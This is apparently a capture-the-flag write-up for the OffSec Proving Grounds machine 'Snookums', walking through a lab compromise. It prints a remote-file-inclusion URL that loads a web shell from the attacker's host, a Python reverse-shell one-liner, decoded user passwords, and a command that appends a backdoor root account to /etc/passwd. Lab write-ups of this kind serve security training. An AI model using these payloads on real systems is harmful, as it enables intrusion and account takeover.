> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/proving-grounds/get-to-work/linux/snookums.md). # Snookums Writeup for Snookums from offsec Proving Grounds ## Information Gathering `sudo ./nmapAutomator.sh 192.168.163.58 all` ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fd6l8t9YEmFyIuqZ1Iyzq%2Fimage.png?alt=media\&token=acb259e7-c669-4083-9f8a-c67fd44780cf) ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F4Pr2Z8x8A3Y2NPzD3p1u%2Fimage.png?alt=media\&token=d6479cb7-d1b0-4f5b-89ec-a06b878abe48) ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FEPXdm6Yl4jppaWxI1yoP%2Fimage.png?alt=media\&token=45c0c7d3-9bca-4034-bf61-8dda2e6990eb) ### Service Enumeration ### HTTP (Port 80) ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FaEFghYYn9l7Q4E6JlrRY%2Fimage.png?alt=media\&token=c9290ad3-1ad8-4be1-80ae-f9cc2bd966f9) `db.php` and `functions.php` look interesting, but it's just a blank page. So lets just keep in mind that there are such files that may be useful later. ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FDJS7FqeHrrwWjpmSMhFA%2Fimage.png?alt=media\&token=8313554f-e463-4162-9f39-44f016d0f34a) At the bottom, we see that this is running Simple PHP Photo Gallery v0.8 which is vulnerable to Remote File Inclusion. {% embed url="" %} ## Exploit Next, we can get a web shell on the target machine. {% embed url="" %} Then we navigate to the following URL to get our web shell on the target machine. `http://192.168.163.58/image.php?img=http://192.168.49.163/home/kali/Simple-PHP-Web-Shell/index.php` ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FBAzNhX9IhpZoCeSfipOs%2Fimage.png?alt=media\&token=911e847f-fedc-49f5-8e2a-3180d05caf22) ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F9dLJ5aVsUFhWiUHjwXdy%2Fimage.png?alt=media\&token=9fd4c066-2539-4be4-b699-b9800dd607cf) From here let's get an interactive shell. Payload: `/usr/bin/python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.163",21));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'` ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FskB1uqaxibyoqemfpgR5%2Fimage.png?alt=media\&token=a9939bd9-084c-4531-ae89-24353c5cf675) ## Privesc Running LinPeas on the target machine, we find something interesting. ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FF2YYq4QNrqqw4M8Q6NT2%2Fimage.png?alt=media\&token=b0fd0d00-31ed-4be0-896d-f34c98cb8532) We see if there are any other credentials defined in this `db.php` file. ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FhpBpuSizzi4yT7EpHaLr%2Fimage.png?alt=media\&token=11bdbc13-76ca-4904-901e-990b9dc26cb0) This looks like login credentials for `MySQL` which is running on port 3306. ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FikFzeD3TVZwuR3ROKaGt%2Fimage.png?alt=media\&token=7b6712f0-a5d7-4baf-a2b6-19fd348e6782) ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F9TLnpjkTMYo2vnQHtacz%2Fimage.png?alt=media\&token=623fe585-fa61-42d4-bc80-5c4b9905a22f) Looks like we have some base64 passwords of a few users. Let's decode the passwords and we get the following.
UsernamePassword
joshMobilizeHissSeedtime747
michealHockSydneyCertify123
serenaOverallCrestLean000
From `LinPeas`, we see that Micheal and GitRekt are Users with console. ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FLYwJJYEz3AAiJMzaCMdD%2Fimage.png?alt=media\&token=16506aaf-c45f-4bae-8580-653b76199ab5) We can try to `SSH` in as Micheal with the password we have. ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FjsIIR1L9ZzL3qQRykKMb%2Fimage.png?alt=media\&token=7f5a18c9-4fcd-43d7-8e61-52b575609d51) Let's run `LinPeas` again to see if there's anything here we can use to get root. ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FmBjQibK4gaG7IUmfUizc%2Fimage.png?alt=media\&token=69ab29b4-ef45-4b4b-93e6-bf0284b99bee) Looks like `/etc/passwd` is writable, which means we can add our own root user! We can generate our own password. ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FiP7nlPAWFs14HnfXRPT2%2Fimage.png?alt=media\&token=26bbe414-3fec-4ad1-93bc-b369742e5473) From here, we can just append our new user to `/etc/passwd` using the following payload: `echo "root2:vFyQtlMtRW/tU:0:0:root:/root:/bin/bash" >> /etc/passwd` ![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Ff7V6X9GPPITm8iVYAslZ%2Fimage.png?alt=media\&token=a30b3a79-73da-4597-a7b8-98accb1aeb83) And we got root!